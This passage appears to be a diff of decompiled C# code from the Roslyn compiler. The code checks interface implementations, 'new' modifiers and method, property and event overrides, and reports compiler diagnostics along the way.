base.AllInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + if (!interfacesAndTheirBaseInterfacesNoUseSiteDiagnostics[current].Contains(current)) + { + continue; + } + HasBaseTypeDeclaringInterfaceResult? hasBaseTypeDeclaringInterfaceResult = null; + ImmutableArray.Enumerator enumerator2 = current.GetMembers().GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + cancellationToken.ThrowIfCancellationRequested(); + SymbolKind kind = current2.Kind; + if (((int)kind != 5 && (int)kind != 9 && (int)kind != 15) || !current2.IsImplementableInterfaceMember()) + { + continue; + } + SymbolAndDiagnostics symbolAndDiagnostics; + if (IsInterface) + { + ValueSet explicitImplementationForInterfaceMember = GetExplicitImplementationForInterfaceMember(current2); + int count = explicitImplementationForInterfaceMember.Count; + if (count == 0) + { + continue; + } + if (count == 1) + { + symbolAndDiagnostics = new SymbolAndDiagnostics(explicitImplementationForInterfaceMember.Single(), ImmutableBindingDiagnostic.Empty); + } + else + { + Diagnostic item = (Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_DuplicateExplicitImpl, current2), GetFirstLocation()); + symbolAndDiagnostics = new SymbolAndDiagnostics(null, new ImmutableBindingDiagnostic(ImmutableArray.Create(item), default(ImmutableArray))); + } + } + else + { + symbolAndDiagnostics = FindImplementationForInterfaceMemberInNonInterfaceWithDiagnostics(current2); + } + Symbol symbol = symbolAndDiagnostics.Symbol; + (SynthesizedExplicitImplementationForwardingMethod, (MethodSymbol, MethodSymbol)?) tuple = SynthesizeInterfaceMemberImplementation(symbolAndDiagnostics, current2); + bool flag = (object)symbol != null; + var (synthesizedExplicitImplementationForwardingMethod, _) = tuple; + if ((object)synthesizedExplicitImplementationForwardingMethod != null) + { + if (synthesizedExplicitImplementationForwardingMethod.IsVararg) + { + diagnostics.Add(ErrorCode.ERR_InterfaceImplementedImplicitlyByVariadic, TypeSymbol.GetImplicitImplementationDiagnosticLocation(current2, this, symbol), symbol, current2, this); + } + else + { + instance.Add(synthesizedExplicitImplementationForwardingMethod); + } + } + (MethodSymbol, MethodSymbol)? item2 = tuple.Item2; + if (item2.HasValue) + { + (MethodSymbol, MethodSymbol) valueOrDefault = item2.GetValueOrDefault(); + instance2.Add(valueOrDefault); + } + if (flag && (int)kind == 5) + { + EventSymbol eventSymbol = (EventSymbol)current2; + EventSymbol eventSymbol2 = (EventSymbol)symbol; + EventSymbol eventSymbol3; + EventSymbol eventSymbol4; + if (eventSymbol.IsWindowsRuntimeEvent) + { + eventSymbol3 = eventSymbol; + eventSymbol4 = eventSymbol2; + } + else + { + eventSymbol3 = eventSymbol2; + eventSymbol4 = eventSymbol; + } + if (eventSymbol.IsWindowsRuntimeEvent != eventSymbol2.IsWindowsRuntimeEvent) + { + object[] args = new object[4] { eventSymbol2, eventSymbol, eventSymbol3, eventSymbol4 }; + CSDiagnosticInfo info = new CSDiagnosticInfo(ErrorCode.ERR_MixingWinRTEventWithRegular, args, ImmutableArray.Empty, ImmutableArray.Create(GetFirstLocation())); + diagnostics.Add((DiagnosticInfo?)(object)info, eventSymbol2.GetFirstLocation()); + } + } + Symbol symbol2 = (((int)kind == 9) ? ((MethodSymbol)current2).AssociatedSymbol : null); + if ((object)symbol2 != null && !ReportAccessorOfInterfacePropertyOrEvent(symbol2) && (!flag || symbol.IsAccessor())) + { + continue; + } + bool flag2 = false; + if (symbolAndDiagnostics.Diagnostics.Diagnostics.Any()) + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange(symbolAndDiagnostics.Diagnostics, false); + flag2 = symbolAndDiagnostics.Diagnostics.Diagnostics.Any((Diagnostic d) => (int)d.Severity == 3); + } + if (flag2) + { + continue; + } + if (!flag || (!symbol.ContainingType.Equals(this, (TypeCompareKind)0) && IReadOnlyListExtensions.Contains((IReadOnlyList)symbol.GetExplicitInterfaceImplementations(), current2, (IEqualityComparer)ExplicitInterfaceImplementationTargetMemberEqualityComparer.Instance))) + { + hasBaseTypeDeclaringInterfaceResult = hasBaseTypeDeclaringInterfaceResult ?? HasBaseClassDeclaringInterface(current); + HasBaseTypeDeclaringInterfaceResult matchResult = hasBaseTypeDeclaringInterfaceResult.GetValueOrDefault(); + if (matchResult != HasBaseTypeDeclaringInterfaceResult.ExactMatch && flag && symbol.ContainingType.IsInterface) + { + HasBaseInterfaceDeclaringInterface(symbol.ContainingType, current, ref matchResult); + } + switch (matchResult) + { + case HasBaseTypeDeclaringInterfaceResult.NoMatch: + if (!current2.MustCallMethodsDirectly() && !current2.IsIndexedProperty()) + { + DiagnosticInfo diagnosticInfo = current2.GetUseSiteInfo().DiagnosticInfo; + if (diagnosticInfo != null && (int)diagnosticInfo.DefaultSeverity == 3) + { + diagnostics.Add(diagnosticInfo, GetImplementsLocationOrFallback(current)); + break; + } + diagnostics.Add(ErrorCode.ERR_UnimplementedInterfaceMember, GetImplementsLocationOrFallback(current), this, current2); + } + break; + case HasBaseTypeDeclaringInterfaceResult.IgnoringNullableMatch: + diagnostics.Add(ErrorCode.WRN_NullabilityMismatchInInterfaceImplementedByBase, GetImplementsLocationOrFallback(current), this, current2); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)matchResult); + case HasBaseTypeDeclaringInterfaceResult.ExactMatch: + break; + } + } + if (flag && (int)kind == 9 && ((object)tuple.Item1 != null || TypeSymbol.Equals(symbol.ContainingType, this, (TypeCompareKind)0))) + { + UseSiteInfo useSiteInfo = current2.GetUseSiteInfo(); + Location val = (symbol.IsFromCompilation(DeclaringCompilation) ? symbol.GetFirstLocation() : GetFirstLocation()); + ((BindingDiagnosticBag)(object)diagnostics).Add(useSiteInfo, val); + } + } + } + return SynthesizedExplicitImplementations.Create(instance.ToImmutableAndFree(), instance2.ToImmutableAndFree()); + } + + protected abstract Location GetCorrespondingBaseListLocation(NamedTypeSymbol @base); + + private Location GetImplementsLocationOrFallback(NamedTypeSymbol implementedInterface) + { + return GetImplementsLocation(implementedInterface) ?? GetFirstLocation(); + } + + internal Location? GetImplementsLocation(NamedTypeSymbol implementedInterface) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + NamedTypeSymbol namedTypeSymbol = null; + ImmutableArray.Enumerator enumerator = InterfacesNoUseSiteDiagnostics().GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (TypeSymbol.Equals(current, implementedInterface, (TypeCompareKind)0)) + { + namedTypeSymbol = current; + break; + } + if ((object)namedTypeSymbol == null && current.ImplementsInterface(implementedInterface, ref useSiteInfo)) + { + namedTypeSymbol = current; + } + } + return GetCorrespondingBaseListLocation(namedTypeSymbol); + } + + private bool ReportAccessorOfInterfacePropertyOrEvent(Symbol interfacePropertyOrEvent) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Invalid comparison between Unknown and I4 + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Invalid comparison between Unknown and I4 + if (interfacePropertyOrEvent.IsIndexedProperty()) + { + return true; + } + Symbol symbol; + if (IsInterface) + { + ValueSet explicitImplementationForInterfaceMember = GetExplicitImplementationForInterfaceMember(interfacePropertyOrEvent); + switch (explicitImplementationForInterfaceMember.Count) + { + case 0: + return true; + case 1: + symbol = explicitImplementationForInterfaceMember.Single(); + break; + default: + symbol = null; + break; + } + } + else + { + symbol = FindImplementationForInterfaceMemberInNonInterface(interfacePropertyOrEvent); + } + if ((object)symbol == null) + { + return false; + } + if ((int)interfacePropertyOrEvent.Kind == 5 && (int)symbol.Kind == 5 && ((EventSymbol)interfacePropertyOrEvent).IsWindowsRuntimeEvent != ((EventSymbol)symbol).IsWindowsRuntimeEvent) + { + return false; + } + return true; + } + + private HasBaseTypeDeclaringInterfaceResult HasBaseClassDeclaringInterface(NamedTypeSymbol @interface) + { + HasBaseTypeDeclaringInterfaceResult result = HasBaseTypeDeclaringInterfaceResult.NoMatch; + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = BaseTypeNoUseSiteDiagnostics; + while ((object)baseTypeNoUseSiteDiagnostics != null && !DeclaresBaseInterface(baseTypeNoUseSiteDiagnostics, @interface, ref result)) + { + baseTypeNoUseSiteDiagnostics = baseTypeNoUseSiteDiagnostics.BaseTypeNoUseSiteDiagnostics; + } + return result; + } + + private static bool DeclaresBaseInterface(NamedTypeSymbol currType, NamedTypeSymbol @interface, ref HasBaseTypeDeclaringInterfaceResult result) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + ValueSet val = currType.InterfacesAndTheirBaseInterfacesNoUseSiteDiagnostics[@interface]; + if (val.Count != 0) + { + if (val.Contains(@interface)) + { + result = HasBaseTypeDeclaringInterfaceResult.ExactMatch; + return true; + } + if (result == HasBaseTypeDeclaringInterfaceResult.NoMatch && val.Contains(@interface, (IEqualityComparer)SymbolEqualityComparer.IgnoringNullable)) + { + result = HasBaseTypeDeclaringInterfaceResult.IgnoringNullableMatch; + } + } + return false; + } + + private void HasBaseInterfaceDeclaringInterface(NamedTypeSymbol baseInterface, NamedTypeSymbol @interface, ref HasBaseTypeDeclaringInterfaceResult matchResult) + { + if (DeclaresBaseInterface(baseInterface, @interface, ref matchResult)) + { + return; + } + ImmutableArray.Enumerator enumerator = base.AllInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if ((object)current != baseInterface && current.Equals(baseInterface, (TypeCompareKind)62) && DeclaresBaseInterface(current, @interface, ref matchResult)) + { + break; + } + } + } + + private void CheckMembersAgainstBaseType(BindingDiagnosticBag diagnostics, CancellationToken cancellationToken) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Expected I4, but got Unknown + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected I4, but got Unknown + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Invalid comparison between Unknown and I4 + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_0139: Invalid comparison between Unknown and I4 + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = BaseTypeNoUseSiteDiagnostics; + if ((object)baseTypeNoUseSiteDiagnostics != null && baseTypeNoUseSiteDiagnostics.IsErrorType()) + { + return; + } + TypeKind typeKind = TypeKind; + switch (typeKind - 2) + { + case 1: + case 3: + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)TypeKind); + case 0: + case 5: + case 8: + case 10: + { + ImmutableArray.Enumerator enumerator = GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + SymbolKind kind = current.Kind; + bool suppressAccessors; + switch (kind - 5) + { + case 4: + { + MethodSymbol methodSymbol = (MethodSymbol)current; + if (MethodSymbol.CanOverrideOrHide(methodSymbol.MethodKind) && !methodSymbol.IsAccessor()) + { + if (current.IsOverride) + { + CheckOverrideMember(methodSymbol, methodSymbol.OverriddenOrHiddenMembers, diagnostics, out suppressAccessors); + } + else if (methodSymbol is SourceMemberMethodSymbol { IsNew: var isNew2 }) + { + CheckNonOverrideMember(methodSymbol, isNew2, methodSymbol.OverriddenOrHiddenMembers, diagnostics, out suppressAccessors); + } + } + else if ((int)methodSymbol.MethodKind == 4) + { + bool wasAmbiguous; + MethodSymbol firstRuntimeOverriddenMethodIgnoringNewSlot = methodSymbol.GetFirstRuntimeOverriddenMethodIgnoringNewSlot(out wasAmbiguous); + if ((object)firstRuntimeOverriddenMethodIgnoringNewSlot != null && firstRuntimeOverriddenMethodIgnoringNewSlot.IsMetadataFinal) + { + diagnostics.Add(ErrorCode.ERR_CantOverrideSealed, methodSymbol.GetFirstLocation(), methodSymbol, firstRuntimeOverriddenMethodIgnoringNewSlot); + } + } + continue; + } + case 0: + { + EventSymbol eventSymbol = (EventSymbol)current; + MethodSymbol addMethod = eventSymbol.AddMethod; + MethodSymbol removeMethod = eventSymbol.RemoveMethod; + if (current.IsOverride) + { + CheckOverrideMember(eventSymbol, eventSymbol.OverriddenOrHiddenMembers, diagnostics, out suppressAccessors); + if (!suppressAccessors) + { + if ((object)addMethod != null) + { + CheckOverrideMember(addMethod, addMethod.OverriddenOrHiddenMembers, diagnostics, out suppressAccessors); + } + if ((object)removeMethod != null) + { + CheckOverrideMember(removeMethod, removeMethod.OverriddenOrHiddenMembers, diagnostics, out suppressAccessors); + } + } + continue; + } + bool isNew3 = ((SourceEventSymbol)eventSymbol).IsNew; + CheckNonOverrideMember(eventSymbol, isNew3, eventSymbol.OverriddenOrHiddenMembers, diagnostics, out suppressAccessors); + if (!suppressAccessors) + { + if ((object)addMethod != null) + { + CheckNonOverrideMember(addMethod, isNew3, addMethod.OverriddenOrHiddenMembers, diagnostics, out suppressAccessors); + } + if ((object)removeMethod != null) + { + CheckNonOverrideMember(removeMethod, isNew3, removeMethod.OverriddenOrHiddenMembers, diagnostics, out suppressAccessors); + } + } + continue; + } + case 1: + { + bool isNew = current is SourceFieldSymbol sourceFieldSymbol && sourceFieldSymbol.IsNew; + CheckNewModifier(current, isNew, diagnostics); + continue; + } + case 6: + CheckNewModifier(current, ((SourceMemberContainerTypeSymbol)current).IsNew, diagnostics); + continue; + case 2: + case 3: + case 5: + continue; + } + if ((int)kind != 15) + { + continue; + } + PropertySymbol propertySymbol = (PropertySymbol)current; + MethodSymbol getMethod = propertySymbol.GetMethod; + MethodSymbol setMethod = propertySymbol.SetMethod; + if (current.IsOverride) + { + CheckOverrideMember(propertySymbol, propertySymbol.OverriddenOrHiddenMembers, diagnostics, out suppressAccessors); + if (!suppressAccessors) + { + if ((object)getMethod != null) + { + CheckOverrideMember(getMethod, getMethod.OverriddenOrHiddenMembers, diagnostics, out suppressAccessors); + } + if ((object)setMethod != null) + { + CheckOverrideMember(setMethod, setMethod.OverriddenOrHiddenMembers, diagnostics, out suppressAccessors); + } + } + continue; + } + if (!(propertySymbol is SourcePropertySymbolBase { IsNew: var isNew4 })) + { + continue; + } + CheckNonOverrideMember(propertySymbol, isNew4, propertySymbol.OverriddenOrHiddenMembers, diagnostics, out suppressAccessors); + if (!suppressAccessors) + { + if ((object)getMethod != null) + { + CheckNonOverrideMember(getMethod, isNew4, getMethod.OverriddenOrHiddenMembers, diagnostics, out suppressAccessors); + } + if ((object)setMethod != null) + { + CheckNonOverrideMember(setMethod, isNew4, setMethod.OverriddenOrHiddenMembers, diagnostics, out suppressAccessors); + } + } + } + break; + } + } + } + + private void CheckNewModifier(Symbol symbol, bool isNew, BindingDiagnosticBag diagnostics) + { + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Invalid comparison between Unknown and I4 + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + if (symbol.IsImplicitlyDeclared) + { + return; + } + if (symbol.ContainingType.IsInterface) + { + CheckNonOverrideMember(symbol, isNew, OverriddenOrHiddenMembersHelpers.MakeInterfaceOverriddenOrHiddenMembers(symbol, memberIsFromSomeCompilation: true), diagnostics, out var _); + } + else + { + if ((object)BaseTypeNoUseSiteDiagnostics == null) + { + return; + } + int memberArity = symbol.GetMemberArity(); + Location val = symbol.TryGetFirstLocation(); + bool suppressAccessors2 = false; + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = BaseTypeNoUseSiteDiagnostics; + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + while ((object)baseTypeNoUseSiteDiagnostics != null) + { + ImmutableArray.Enumerator enumerator = baseTypeNoUseSiteDiagnostics.GetMembers(symbol.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 9 && !((MethodSymbol)current).CanBeHiddenByMemberKind(symbol.Kind)) + { + continue; + } + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + bool num = AccessCheck.IsSymbolAccessible(current, this, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(val, useSiteInfo); + if (num && current.GetMemberArity() == memberArity) + { + if (!isNew) + { + diagnostics.Add(ErrorCode.WRN_NewRequired, val, symbol, current); + } + AddHidingAbstractDiagnostic(symbol, val, current, diagnostics, ref suppressAccessors2); + if (current.IsRequired()) + { + diagnostics.Add(ErrorCode.ERR_RequiredMemberCannotBeHidden, val, current, symbol); + } + return; + } + } + baseTypeNoUseSiteDiagnostics = baseTypeNoUseSiteDiagnostics.BaseTypeNoUseSiteDiagnostics; + } + if (isNew) + { + diagnostics.Add(ErrorCode.WRN_NewNotRequired, val, symbol); + } + } + } + + private void CheckOverrideMember(Symbol overridingMember, OverriddenOrHiddenMembersResult overriddenOrHiddenMembers, BindingDiagnosticBag diagnostics, out bool suppressAccessors) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Unknown result type (might be due to invalid IL or missing references) + //IL_0123: Invalid comparison between Unknown and I4 + suppressAccessors = false; + bool flag = (int)overridingMember.Kind == 9; + bool flag2 = (int)overridingMember.Kind == 15; + _ = overridingMember.Kind; + Location firstLocation = overridingMember.GetFirstLocation(); + ImmutableArray overriddenMembers = overriddenOrHiddenMembers.OverriddenMembers; + if (overriddenMembers.Length == 0) + { + ImmutableArray hiddenMembers = overriddenOrHiddenMembers.HiddenMembers; + if (hiddenMembers.Any()) + { + ErrorCode code = (flag ? ErrorCode.ERR_CantOverrideNonFunction : (flag2 ? ErrorCode.ERR_CantOverrideNonProperty : ErrorCode.ERR_CantOverrideNonEvent)); + diagnostics.Add(code, firstLocation, overridingMember, hiddenMembers[0]); + } + else + { + Symbol symbol = null; + if (flag) + { + symbol = ((MethodSymbol)overridingMember).AssociatedSymbol; + } + if ((object)symbol == null) + { + bool flag3 = false; + if (flag || overridingMember.IsIndexer()) + { + ImmutableArray.Enumerator enumerator = (flag ? ((MethodSymbol)overridingMember).ParameterTypesWithAnnotations : ((PropertySymbol)overridingMember).ParameterTypesWithAnnotations).GetEnumerator(); + while (enumerator.MoveNext()) + { + if (IsOrContainsErrorType(enumerator.Current.Type)) + { + flag3 = true; + break; + } + } + } + if (!flag3) + { + diagnostics.Add(ErrorCode.ERR_OverrideNotExpected, firstLocation, overridingMember); + } + } + else if ((int)symbol.Kind == 15) + { + PropertySymbol propertySymbol = (PropertySymbol)symbol; + PropertySymbol overriddenProperty = propertySymbol.OverriddenProperty; + if ((object)overriddenProperty != null) + { + if (propertySymbol.GetMethod == overridingMember && (object)overriddenProperty.GetMethod == null) + { + diagnostics.Add(ErrorCode.ERR_NoGetToOverride, firstLocation, overridingMember, overriddenProperty); + } + else if (propertySymbol.SetMethod == overridingMember && (object)overriddenProperty.SetMethod == null) + { + diagnostics.Add(ErrorCode.ERR_NoSetToOverride, firstLocation, overridingMember, overriddenProperty); + } + else + { + diagnostics.Add(ErrorCode.ERR_OverrideNotExpected, firstLocation, overridingMember); + } + } + } + } + } + else + { + NamedTypeSymbol containingType = overridingMember.ContainingType; + if (overriddenMembers.Length > 1) + { + diagnostics.Add(ErrorCode.ERR_AmbigOverride, firstLocation, overriddenMembers[0].OriginalDefinition, overriddenMembers[1].OriginalDefinition, containingType); + suppressAccessors = true; + } + else + { + checkSingleOverriddenMember(overridingMember, overriddenMembers[0], diagnostics, ref suppressAccessors); + } + } + if (!ContainingAssembly.RuntimeSupportsCovariantReturnsOfClasses && overridingMember is MethodSymbol methodSymbol) + { + methodSymbol.RequiresExplicitOverride(out var warnAmbiguous); + if (warnAmbiguous) + { + MethodSymbol overriddenMethod = methodSymbol.OverriddenMethod; + diagnostics.Add(ErrorCode.WRN_MultipleRuntimeOverrideMatches, overriddenMethod.GetFirstLocation(), overriddenMethod, overridingMember); + suppressAccessors = true; + } + } + void checkSingleOverriddenMember(Symbol symbol2, Symbol overriddenMember, BindingDiagnosticBag bindingDiagnosticBag, ref bool reference) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Invalid comparison between Unknown and I4 + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Invalid comparison between Unknown and I4 + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Invalid comparison between Unknown and I4 + //IL_0146: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Invalid comparison between Unknown and I4 + //IL_0251: Unknown result type (might be due to invalid IL or missing references) + //IL_0257: Invalid comparison between Unknown and I4 + //IL_025d: Unknown result type (might be due to invalid IL or missing references) + //IL_0263: Invalid comparison between Unknown and I4 + //IL_03bc: Unknown result type (might be due to invalid IL or missing references) + //IL_03c3: Unknown result type (might be due to invalid IL or missing references) + //IL_0421: Unknown result type (might be due to invalid IL or missing references) + //IL_0426: Unknown result type (might be due to invalid IL or missing references) + Location firstLocation2 = symbol2.GetFirstLocation(); + bool flag4 = (int)symbol2.Kind == 9; + bool flag5 = (int)symbol2.Kind == 15; + bool flag6 = (int)symbol2.Kind == 5; + _ = symbol2.ContainingType; + if (overriddenMember.MustCallMethodsDirectly()) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_CantOverrideBogusMethod, firstLocation2, symbol2, overriddenMember); + reference = true; + } + else if (!overriddenMember.IsVirtual && !overriddenMember.IsAbstract && !overriddenMember.IsOverride && (!flag4 || (int)((MethodSymbol)overriddenMember).MethodKind != 4)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_CantOverrideNonVirtual, firstLocation2, symbol2, overriddenMember); + reference = true; + } + else if (overriddenMember.IsSealed) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_CantOverrideSealed, firstLocation2, symbol2, overriddenMember); + reference = true; + } + else if (!OverrideHasCorrectAccessibility(overriddenMember, symbol2)) + { + string text = SyntaxFacts.GetText(overriddenMember.DeclaredAccessibility); + bindingDiagnosticBag.Add(ErrorCode.ERR_CantChangeAccessOnOverride, firstLocation2, symbol2, text, overriddenMember); + reference = true; + } + else if (symbol2.ContainsTupleNames() && MemberSignatureComparer.ConsideringTupleNamesCreatesDifference(symbol2, overriddenMember)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_CantChangeTupleNamesOnOverride, firstLocation2, symbol2, overriddenMember); + } + else if (overriddenMember is PropertySymbol { IsRequired: not false } && symbol2 is PropertySymbol { IsRequired: false }) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_OverrideMustHaveRequired, firstLocation2, symbol2, overriddenMember); + } + else + { + Symbol leastOverriddenMember = overriddenMember.GetLeastOverriddenMember(overriddenMember.ContainingType); + symbol2.ForceCompleteObsoleteAttribute(); + leastOverriddenMember.ForceCompleteObsoleteAttribute(); + bool flag7 = (int)symbol2.ObsoleteState == 2; + bool flag8 = (int)leastOverriddenMember.ObsoleteState == 2; + if (flag7 != flag8) + { + ErrorCode code2 = (flag7 ? ErrorCode.WRN_ObsoleteOverridingNonObsolete : ErrorCode.WRN_NonObsoleteOverridingObsolete); + bindingDiagnosticBag.Add(code2, firstLocation2, symbol2, leastOverriddenMember); + } + if (flag5) + { + checkOverriddenProperty((PropertySymbol)symbol2, (PropertySymbol)overriddenMember, bindingDiagnosticBag, ref reference); + } + else if (flag6) + { + EventSymbol eventSymbol = (EventSymbol)symbol2; + EventSymbol eventSymbol2 = (EventSymbol)overriddenMember; + TypeWithAnnotations typeWithAnnotations = eventSymbol.TypeWithAnnotations; + TypeWithAnnotations typeWithAnnotations2 = eventSymbol2.TypeWithAnnotations; + if (!typeWithAnnotations.Equals(typeWithAnnotations2, (TypeCompareKind)63)) + { + if (!IsOrContainsErrorType(typeWithAnnotations.Type)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_CantChangeTypeOnOverride, firstLocation2, symbol2, overriddenMember, typeWithAnnotations2.Type); + } + reference = true; + } + else + { + CheckValidNullableEventOverride(eventSymbol.DeclaringCompilation, eventSymbol2, eventSymbol, bindingDiagnosticBag, delegate(BindingDiagnosticBag bindingDiagnosticBag2, EventSymbol overriddenEvent, EventSymbol overridingEvent, Location location) + { + bindingDiagnosticBag2.Add(ErrorCode.WRN_NullabilityMismatchInTypeOnOverride, location); + }, firstLocation2); + } + } + else + { + MethodSymbol methodSymbol2 = (MethodSymbol)symbol2; + MethodSymbol methodSymbol3 = (MethodSymbol)overriddenMember; + if (methodSymbol2.IsGenericMethod) + { + methodSymbol3 = methodSymbol3.Construct(TypeMap.TypeParametersAsTypeSymbolsWithIgnoredAnnotations(methodSymbol2.TypeParameters)); + } + if (methodSymbol2.RefKind != methodSymbol3.RefKind) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_CantChangeRefReturnOnOverride, firstLocation2, symbol2, overriddenMember); + } + else if (!IsValidOverrideReturnType(methodSymbol2, methodSymbol2.ReturnTypeWithAnnotations, methodSymbol3.ReturnTypeWithAnnotations, bindingDiagnosticBag)) + { + if (!IsOrContainsErrorType(methodSymbol2.ReturnType)) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + if (DeclaringCompilation.Conversions.HasIdentityOrImplicitReferenceConversion(methodSymbol2.ReturnTypeWithAnnotations.Type, methodSymbol3.ReturnTypeWithAnnotations.Type, ref useSiteInfo)) + { + if (!methodSymbol2.ContainingAssembly.RuntimeSupportsCovariantReturnsOfClasses) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_RuntimeDoesNotSupportCovariantReturnsOfClasses, firstLocation2, symbol2, overriddenMember, methodSymbol3.ReturnType); + } + else + { + CSDiagnosticInfo featureAvailabilityDiagnosticInfo = MessageID.IDS_FeatureCovariantReturnsForOverrides.GetFeatureAvailabilityDiagnosticInfo(DeclaringCompilation); + if (featureAvailabilityDiagnosticInfo == null) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceMemberContainerSymbol_ImplementationChecks.cs", 1010); + } + bindingDiagnosticBag.Add((DiagnosticInfo?)(object)featureAvailabilityDiagnosticInfo, firstLocation2); + } + } + else + { + bindingDiagnosticBag.Add(ErrorCode.ERR_CantChangeReturnTypeOnOverride, firstLocation2, symbol2, overriddenMember, methodSymbol3.ReturnType); + } + } + } + else if (methodSymbol3.IsRuntimeFinalizer()) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_OverrideFinalizeDeprecated, firstLocation2); + } + else if (!methodSymbol2.IsAccessor()) + { + checkValidMethodOverride(firstLocation2, methodSymbol3, methodSymbol2, bindingDiagnosticBag, checkReturnType: true, checkParameters: true); + } + } + if (Binder.ReportUseSite(overriddenMember, bindingDiagnosticBag, symbol2.GetFirstLocation())) + { + reference = true; + } + } + void checkOverriddenProperty(PropertySymbol overridingProperty, PropertySymbol propertySymbol4, BindingDiagnosticBag bindingDiagnosticBag2, ref bool reference2) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_02aa: Unknown result type (might be due to invalid IL or missing references) + Location firstLocation3 = overridingProperty.GetFirstLocation(); + NamedTypeSymbol containingType2 = overridingProperty.ContainingType; + TypeWithAnnotations typeWithAnnotations3 = overridingProperty.TypeWithAnnotations; + TypeWithAnnotations typeWithAnnotations4 = propertySymbol4.TypeWithAnnotations; + if (overridingProperty.RefKind != propertySymbol4.RefKind) + { + bindingDiagnosticBag2.Add(ErrorCode.ERR_CantChangeRefReturnOnOverride, firstLocation3, overridingProperty, propertySymbol4); + reference2 = true; + } + else if (((object)overridingProperty.SetMethod == null) ? (!IsValidOverrideReturnType(overridingProperty, typeWithAnnotations3, typeWithAnnotations4, bindingDiagnosticBag2)) : (!typeWithAnnotations3.Equals(typeWithAnnotations4, (TypeCompareKind)63))) + { + if (!IsOrContainsErrorType(typeWithAnnotations3.Type)) + { + CompoundUseSiteInfo useSiteInfo2 = CompoundUseSiteInfo.Discarded; + if ((object)overridingProperty.SetMethod == null && DeclaringCompilation.Conversions.HasIdentityOrImplicitReferenceConversion(typeWithAnnotations3.Type, typeWithAnnotations4.Type, ref useSiteInfo2)) + { + if (!overridingProperty.ContainingAssembly.RuntimeSupportsCovariantReturnsOfClasses) + { + bindingDiagnosticBag2.Add(ErrorCode.ERR_RuntimeDoesNotSupportCovariantPropertiesOfClasses, firstLocation3, symbol2, overriddenMember, typeWithAnnotations4.Type); + } + else + { + CSDiagnosticInfo featureAvailabilityDiagnosticInfo2 = MessageID.IDS_FeatureCovariantReturnsForOverrides.GetFeatureAvailabilityDiagnosticInfo(DeclaringCompilation); + 